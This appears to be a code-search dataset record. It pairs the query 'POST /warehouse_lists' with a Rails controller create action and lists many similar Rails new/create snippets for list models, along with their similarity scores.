"def new\n @stocklist = Stocklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stocklist }\n end\n end",
"def create\n @mailee_list = Mailee::List.new(params[:mailee_list])\n\n respond_to do |format|\n if @mailee_list.save\n format.html { redirect_to(@mailee_list, :notice => 'Mailee list was successfully created.') }\n format.xml { render :xml => @mailee_list, :status => :created, :location => @mailee_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mailee_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @runlist = Runlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @runlist }\n end\n end",
"def new\n @email_list = EmailList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_list }\n end\n end",
"def new\n @list_field_value = ListFieldValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_field_value }\n end\n end",
"def new\n\n @mailee_list = Mailee::List.new :name => '', :active => '', :company => '', :description => '', :address => '', :phone => '', :site => ''\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mailee_list }\n end\n end",
"def create\n @wellist = Wellist.new(wellist_params)\n\n if @wellist.save\n render json: @wellist, status: :created, location: @wellist\n else\n render json: @wellist.errors, status: :unprocessable_entity\n end\n end",
"def index\n @warehouse_lists = get_warehouse_lists(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouse_lists }\n end\n end",
"def create\n @thing_list = ThingList.new(params[:thing_list])\n\n respond_to do |format|\n if @thing_list.save\n format.html { redirect_to(@thing_list, :notice => 'Thing list was successfully created.') }\n format.xml { render :xml => @thing_list, :status => :created, :location => @thing_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @thing_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @book_list = BookList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_list }\n end\n end",
"def new\n @shelf = Shelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shelf }\n end\n end",
"def new\n @army_list = ArmyList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @army_list }\n end\n end",
"def new\n @chore_list = ChoreList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chore_list }\n end\n end",
"def new\n @program_list= Programlist.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @program_list}\n end\n end",
"def new\n @howtolist = @product.howtolists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @howtolist }\n end\n end",
"def new\n @detail = @listing.details.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @detail }\n end\n end",
"def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def create_list(name)\n path = \"lists\"\n params = { list: { name: name }}\n list = request(path, params, :post)\n list_id = list[:id]\n # output full list again\n show_list(list_id)\n end",
"def create\n @wish_list = WishList.new(params[:wish_list])\n\n respond_to do |format|\n if @wish_list.save\n flash[:notice] = 'WishList was successfully created.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { render :xml => @wish_list, :status => :created, :location => @wish_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @show_set_list = show.show_set_lists.new(params[:show_set_list])\n\n respond_to do |format|\n if @show_set_list.save\n flash[:notice] = 'ShowSetList was successfully created.'\n format.html { redirect_to(show_show_set_lists_url(show)) }\n format.xml { render :xml => @show_set_list, :status => :created, :location => @show_set_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @show_set_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @assistance_list = AssistanceList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assistance_list }\n end\n end",
"def new\n @item = Item.factory('local')\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"def new\n @wishlist_item = WishlistItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def new\n @web_passenger = WebPassenger.new\n @web_passenger.web_locations << WebLocation.new\n @web_passenger.web_locations << WebLocation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_passenger }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def create\n @list_of_value = Irm::ListOfValue.new(params[:irm_list_of_value])\n\n respond_to do |format|\n if @list_of_value.save\n format.html { redirect_to({:action => \"index\"}, :notice => t(:successfully_created)) }\n format.xml { render :xml => @list_of_value, :status => :created, :location => @list_of_value }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @list_of_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @price_list = PriceList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @price_list }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def create\n @list = List.create!(list_params)\n json_response(@list, :created)\n end",
"def new\n @lb202556 = Lb202556.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lb202556 }\n end\n end",
"def new\n @mailinglist = Mailinglist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mailinglist }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @lista_precio = ListaPrecio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lista_precio }\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def create\n @list = current_user.lists.build(params[:list])\n location = @list.save ? my_list_url(@list.id) : new_my_list_url\n respond_with(@list, :location => location )\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.fbml # new.fbml.erb\n format.xml { render :xml => @listing }\n end\n end",
"def create\n @product_list = ProductList.new(params[:product_list])\n\n respond_to do |format|\n if @product_list.save\n flash[:notice] = 'ProductList was successfully created.'\n format.html { redirect_to(@product_list) }\n format.xml { render :xml => @product_list, :status => :created, :location => @product_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @swlist_blacklist = SwlistBlacklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @swlist_blacklist }\n end\n end",
"def create_list(params={})\n @obj.post('create-list', @auth.merge(params))\n end",
"def new\n @tipo_lista = TipoLista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_lista }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @stylesheet = \"admin_menus\"\n @drop_off_location = DropOffLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @drop_off_location }\n end\n end",
"def new\n @polling_station = PollingStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polling_station }\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render action: 'show', status: :created, location: @list }\n else\n format.html { render action: 'new' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @suite = Suite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @suite }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @import }\n end\n end",
"def create\n @order_list = OrderList.new(params[:order_list])\n\n respond_to do |format|\n if @order_list.save\n format.html { redirect_to(@order_list, :notice => 'OrderList was successfully created.') }\n format.xml { render :xml => @order_list, :status => :created, :location => @order_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @wrestler = Wrestler.new\n @teams = Team.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wrestler }\n end\n end",
"def new\n @ota_code_list_list = Ota::CodeList::List.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ota_code_list_list }\n end\n end",
"def new\n @user = User.new\n get_list\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user }\n end\n end",
"def create\n @list = current_user.lists.new(new_list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to my_list_path(@list), notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: my_list_path(@list) }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @stockist = Stockist.new\n assign_lovs\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @stockist }\n end\n end",
"def create\n @fwlist = Fwlist.new(params[:fwlist])\n\n respond_to do |format|\n if @fwlist.save\n format.html { redirect_to @fwlist, notice: 'Fwlist was successfully created.' }\n format.json { render json: @fwlist, status: :created, location: @fwlist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fwlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @twitter_list = TwitterList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @twitter_list }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def create\n @warehouse_list = WarehouseList.new(params[:warehouse_list])\n\n @customer = Customer.save_for_warehouse_list(params)\n @warehouse_list.customer_id = @customer.id\n\n respond_to do |format|\n if @warehouse_list.save\n @warehouse_lists = get_warehouse_lists\n get_data_for_sidebar\n format.js\n format.html { redirect_to(@warehouse_list) }\n format.xml { render :xml => @warehouse_list, :status => :created, :location => @warehouse_list }\n else\n @customers = Customer.all(:order => \"name\")\n\n @products = Product.all(:order => \"name,spec\")\n unless params[:customer][:id].blank?\n @customer = Customer.find(params[:customer][:id])\n else\n if request.referer =~ /\\/customers\\/(.+)$/\n @customer = Customer.find($1) # related customer\n else\n @acustomer = Customer.new\n end\n end\n format.js\n format.html { render :action => \"new\" }\n format.xml { render :xml => @warehouse_list.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7018633",
"0.70162207",
"0.7008626",
"0.69832104",
"0.68971634",
"0.68905205",
"0.68689895",
"0.6863876",
"0.6840788",
"0.6794133",
"0.67395264",
"0.6720193",
"0.67079693",
"0.67011034",
"0.669366",
"0.66740865",
"0.66705793",
"0.66705793",
"0.66705793",
"0.66622686",
"0.66368514",
"0.659726",
"0.6588846",
"0.6576623",
"0.65720993",
"0.65570885",
"0.65476465",
"0.65471315",
"0.6542139",
"0.6527852",
"0.6510914",
"0.65093994",
"0.6507873",
"0.65070194",
"0.6494417",
"0.64942497",
"0.64900696",
"0.6484717",
"0.6481096",
"0.64808345",
"0.64659107",
"0.64656353",
"0.6445302",
"0.64257187",
"0.6413867",
"0.640411",
"0.6394192",
"0.63897705",
"0.6383287",
"0.63810277",
"0.6379553",
"0.63766325",
"0.636803",
"0.6366013",
"0.6355605",
"0.63534945",
"0.6349146",
"0.63424546",
"0.6341031",
"0.6340387",
"0.63323784",
"0.6318223",
"0.63112193",
"0.63037556",
"0.62893504",
"0.627364",
"0.6269627",
"0.6268834",
"0.62660295",
"0.6265017",
"0.62640136",
"0.6263902",
"0.6244929",
"0.6243915",
"0.6235204",
"0.6235177",
"0.6232867",
"0.62297666",
"0.6227298",
"0.62199616",
"0.6215825",
"0.62114024",
"0.6208591",
"0.6205057",
"0.62046874",
"0.6204025",
"0.62001896",
"0.6190004",
"0.6187371",
"0.61799985",
"0.617816",
"0.6172796",
"0.6164456",
"0.6163149",
"0.61630434",
"0.6155745",
"0.61543125",
"0.6146568",
"0.6146392",
"0.61456734"
] |
0.63278407
|
61
|
POST /warehouse_lists POST /warehouse_lists.xml
|
def create
@warehouse_list = WarehouseList.new(params[:warehouse_list])
@customer = Customer.save_for_warehouse_list(params)
@warehouse_list.customer_id = @customer.id
respond_to do |format|
if @warehouse_list.save
@warehouse_lists = get_warehouse_lists
get_data_for_sidebar
format.js
format.html { redirect_to(@warehouse_list) }
format.xml { render :xml => @warehouse_list, :status => :created, :location => @warehouse_list }
else
@customers = Customer.all(:order => "name")
@products = Product.all(:order => "name,spec")
unless params[:customer][:id].blank?
@customer = Customer.find(params[:customer][:id])
else
if request.referer =~ /\/customers\/(.+)$/
@customer = Customer.find($1) # related customer
else
@acustomer = Customer.new
end
end
format.js
format.html { render :action => "new" }
format.xml { render :xml => @warehouse_list.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @wellist = Wellist.new(wellist_params)\n\n if @wellist.save\n render json: @wellist, status: :created, location: @wellist\n else\n render json: @wellist.errors, status: :unprocessable_entity\n end\n end",
"def create_list(params={})\n @obj.post('create-list', @auth.merge(params))\n end",
"def create_list(name)\n data = {\n list: {\n name: name\n }\n }\n rest(\"post\", \"lists\", data)\n end",
"def create_list(name)\n path = \"lists\"\n params = { list: { name: name }}\n list = request(path, params, :post)\n list_id = list[:id]\n # output full list again\n show_list(list_id)\n end",
"def create\n @list = List.create!(list_params)\n json_response(@list, :created)\n end",
"def create\n list = List.find(params[:list_id])\n @list_item = list.list_items.new(list_items_params)\n @list_item.save ? json_response(@list_item) : json_response(@list_item.errors, status = :not_acceptable)\n end",
"def create\n\n nested = params[:list].delete(:list_items_attributes)\n\n @list = List.new( params[:list] )\n @list.user = current_user\n\n records = nested.collect do |_, fields| \n\n ListItem.new( { \"list\" => @list }.merge( fields ) ) if !item_blank?( fields )\n\n end.compact\n\n respond_to do |format|\n if @list.save && records.map( &:save ).all?\n\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render json: @list, status: :created, location: @list }\n\n else\n\n format.html { render action: \"new\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"def create\n @order_list = OrderList.new(params[:order_list])\n\n respond_to do |format|\n if @order_list.save\n format.html { redirect_to(@order_list, :notice => 'OrderList was successfully created.') }\n format.xml { render :xml => @order_list, :status => :created, :location => @order_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_list(name)\n Wunderlist::List.new(name, false, self).save\n end",
"def create\n @list_of_value = Irm::ListOfValue.new(params[:irm_list_of_value])\n\n respond_to do |format|\n if @list_of_value.save\n format.html { redirect_to({:action => \"index\"}, :notice => t(:successfully_created)) }\n format.xml { render :xml => @list_of_value, :status => :created, :location => @list_of_value }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @list_of_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @set_list = SetList.new(set_list_params)\n\n respond_to do |format|\n if @set_list.save\n format.html { redirect_to @set_list, notice: 'Set list was successfully created.' }\n format.json { render :show, status: :created, location: @set_list }\n else\n format.html { render :new }\n format.json { render json: @set_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:name,:amount,:body,:status,:group_id, :list )\n end",
"def create\n @fwlist = Fwlist.new(params[:fwlist])\n\n respond_to do |format|\n if @fwlist.save\n format.html { redirect_to @fwlist, notice: 'Fwlist was successfully created.' }\n format.json { render json: @fwlist, status: :created, location: @fwlist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fwlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @warehouse_lists = get_warehouse_lists(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouse_lists }\n end\n end",
"def create\n @wish_list = WishList.new(params[:wish_list])\n\n respond_to do |format|\n if @wish_list.save\n flash[:notice] = 'WishList was successfully created.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { render :xml => @wish_list, :status => :created, :location => @wish_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'Nice Work- List Created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @thing_list = ThingList.new(params[:thing_list])\n\n respond_to do |format|\n if @thing_list.save\n format.html { redirect_to(@thing_list, :notice => 'Thing list was successfully created.') }\n format.xml { render :xml => @thing_list, :status => :created, :location => @thing_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @thing_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @party_list = PartyList.new(party_list_params)\n\n respond_to do |format|\n if @party_list.save\n format.html { redirect_to @party_list, notice: 'Party list was successfully created.' }\n format.json { render :show, status: :created, location: @party_list }\n else\n format.html { render :new }\n format.json { render json: @party_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = @user.lists.create(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render action: 'show', status: :created, location: @list }\n else\n format.html { render action: 'new' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(params[:list])\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render json: @list, status: :created, location: @list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def create\n @mailee_list = Mailee::List.new(params[:mailee_list])\n\n respond_to do |format|\n if @mailee_list.save\n format.html { redirect_to(@mailee_list, :notice => 'Mailee list was successfully created.') }\n format.xml { render :xml => @mailee_list, :status => :created, :location => @mailee_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mailee_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @mylist = Mylist.new(params[:mylist])\n\n respond_to do |format|\n if @mylist.save\n format.html { redirect_to(@mylist, :notice => 'Mylist was successfully created.') }\n format.xml { render :xml => @mylist, :status => :created, :location => @mylist }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mylist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @saved_list = SavedList.new(saved_list_params)\n\n respond_to do |format|\n if @saved_list.save\n format.html { redirect_to @saved_list, notice: \"Saved list was successfully created.\" }\n format.json { render :show, status: :created, location: @saved_list }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @saved_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_list(project_id, list)\n record \"/projects/#{project_id}/todos/create_list\", list\n end",
"def create\n @data_list = DataList.new(params[:data_list])\n\n respond_to do |format|\n if @data_list.save\n format.html { redirect_to(@data_list, :notice => 'Data list was successfully created.') }\n format.xml { render :xml => @data_list, :status => :created, :location => @data_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @data_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group_list = GroupList.new(params[:group_list])\n\n respond_to do |format|\n if @group_list.save\n format.html { redirect_to(@group_list, :notice => 'Group list was successfully created.') }\n format.xml { render :xml => @group_list, :status => :created, :location => @group_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create(name)\n Iterable.request(conf, '/lists').post(name: name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def create\n @list_str_wk = ListStrWk.new(params[:list_str_wk])\n @cart_ef=find_cart_ef\n respond_to do |format|\n if @list_str_wk.save\n flash[:notice] = 'ListStrWk was successfully created.'\n format.html { redirect_to(@list_str_wk) }\n format.xml { render :xml => @list_str_wk, :status => :created, :location => @list_str_wk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @list_str_wk.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @list = current_user.lists.build(params[:list])\n location = @list.save ? my_list_url(@list.id) : new_my_list_url\n respond_with(@list, :location => location )\n end",
"def create\n @show_set_list = show.show_set_lists.new(params[:show_set_list])\n\n respond_to do |format|\n if @show_set_list.save\n flash[:notice] = 'ShowSetList was successfully created.'\n format.html { redirect_to(show_show_set_lists_url(show)) }\n format.xml { render :xml => @show_set_list, :status => :created, :location => @show_set_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @show_set_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:title, \n :description, \n :list_type_id, \n :list_type,\n list_items_attributes: [:item, :id, :_destroy]\n )\n end",
"def create\n\n @list_item = @list.list_items.create!(list_item_params)\n #@list_item = @list.list_items.create!(params[:list_item])\n\n respond_to do |format|\n if @list_item.save\n format.html { redirect_to list_path(@list), notice: 'List item was successfully created.' }\n format.json { render :show, status: :created, location: @list_item }\n else\n format.html { render :new }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = current_user.lists.new(params[:list])\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render json: @list, status: :created, location: @list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def create\n @product_list = ProductList.new(params[:product_list])\n\n respond_to do |format|\n if @product_list.save\n flash[:notice] = 'ProductList was successfully created.'\n format.html { redirect_to(@product_list) }\n format.xml { render :xml => @product_list, :status => :created, :location => @product_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.permit(:list_name)\n end",
"def create\n @list = current_user.lists.new(new_list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to my_list_path(@list), notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: my_list_path(@list) }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(params[:list])\n if @list.save\n redirect_to @list, :notice =>\"List successfully created.\"\n else\n flash[:error] = \"Your list could not be saved.\"\n render :action => \"new\"\n end\n end",
"def create\n @list_element = ListElement.new(list_element_params)\n\n respond_to do |format|\n if @list_element.save\n format.html { redirect_to @list_element, notice: 'List element was successfully created.' }\n format.json { render :show, status: :created, location: @list_element }\n else\n format.html { render :new }\n format.json { render json: @list_element.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stocklist = Stocklist.new(params[:stocklist])\n\n respond_to do |format|\n if @stocklist.save\n format.html { redirect_to @stocklist, notice: 'Stocklist was successfully created.' }\n format.json { render json: @stocklist, status: :created, location: @stocklist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stocklist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_addon_list = GroupAddonList.new(group_add_on_list_params)\n\n respond_to do |format|\n if @group_addon_list.save\n format.html { redirect_to @group_addon_list, notice: 'Product group add on list was successfully created.' }\n format.json { render :show, status: :created, location: @group_addon_list }\n else\n format.html { render :new }\n format.json { render json: @group_addon_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ListItem.transaction do\n item = Item.new(item_params)\n item.save\n\n @list_item = ListItem.new(list_item_params)\n @list_item.item_id = item.id\n @list_item.list_id = params[:list_id]\n\n\n if @list_item.save\n render json: @list_item, status: :created\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @list = @project.lists.new(params[:list])\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to [@project, @list], notice: 'List was successfully created.' }\n format.json { render json: @list, status: :created, location: @list }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def create\n @list_record = ListRecord.new(params[:list_record])\n\n respond_to do |format|\n if @list_record.save\n format.html { redirect_to(@list_record, :notice => 'List record was successfully created.') }\n format.xml { render :xml => @list_record, :status => :created, :location => @list_record }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @list_record.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def createItemOfList\n results1 = checkUser(params[:target_account]) #userid user to give the money\n if results1.code == 200\n parameters={user_id: (@current_user[\"id\"]).to_i, description: (params[:description]), date_pay: params[:date_pay], cost: params[:cost], target_account: params[:target_account], state_pay:params[:state_pay]}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4055/lists\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n elsif results1.code == 404\n renderError(\"Not Found\", 404, \"The resource does not exist\")\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'Funcionario adicionado com sucesso.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n if @list.save\n return redirect_to list_url(@list)\n else\n flash[:error] = \"U is broken yo\"\n return render :new\n end\n end",
"def create\n @list = List.new(list_params)\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list.entity, notice: 'La liste de propositions pour la semaine ' + @list.date.to_time.strftime(\"%W\") + ' a été créée avec succès.' }\n format.json { render action: 'show', status: :created, location: @list }\n else\n format.html { render action: 'new' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model_list = ModelList.new(model_list_params)\n\n respond_to do |format|\n if @model_list.save\n format.html { redirect_to @model_list, notice: 'Model list was successfully created.' }\n format.json { render :show, status: :created, location: @model_list }\n else\n format.html { render :new }\n format.json { render json: @model_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n if @list.save\n \t#flash notice on successful creation of a list\n \tflash[:notice] = \"List successfully added!\"\n redirect_to lists_path(@list)\n else\n render :new\n flash[:alert] = \"ERROR :(\"\n end\n end",
"def list_params\n params.require(:list).permit(:name, :description)\n end",
"def create\n @demo_list = DemoList.new(demo_list_params)\n\n respond_to do |format|\n if @demo_list.save\n format.html { redirect_to @demo_list, notice: 'Demo list was successfully created.' }\n format.json { render :show, status: :created, location: @demo_list }\n else\n format.html { render :new }\n format.json { render json: @demo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n @list.user = current_user\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @day_list = DayList.new(params[:day_list])\n\n respond_to do |format|\n if @day_list.save\n format.html { redirect_to @day_list, notice: 'Day list was successfully created.' }\n format.json { render json: @day_list, status: :created, location: @day_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @day_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:name, :campsite_id)\n end",
"def test_list\n @builder.write_list('http://lancaster.myreadinglists.org/lists/4510B70F-7C50-D726-4A6C-B129F5EABB2C')\n end",
"def create\n lip = list_item_params list_type_id: params[:list_type_id]\n new_item = current_user.list_items.create(lip)\n respond_with new_item\n end",
"def list_params\n params.require(:list).permit(:name, :date, :family_id)\n end",
"def list_params\n params.require(:list).permit(:name, :email, :occupation_id, :salario)\n end",
"def create\n\t\t@list = List.new(list_params)\n\t\t@list.save\n\t\t\tredirect_to '/tasks'\n\tend",
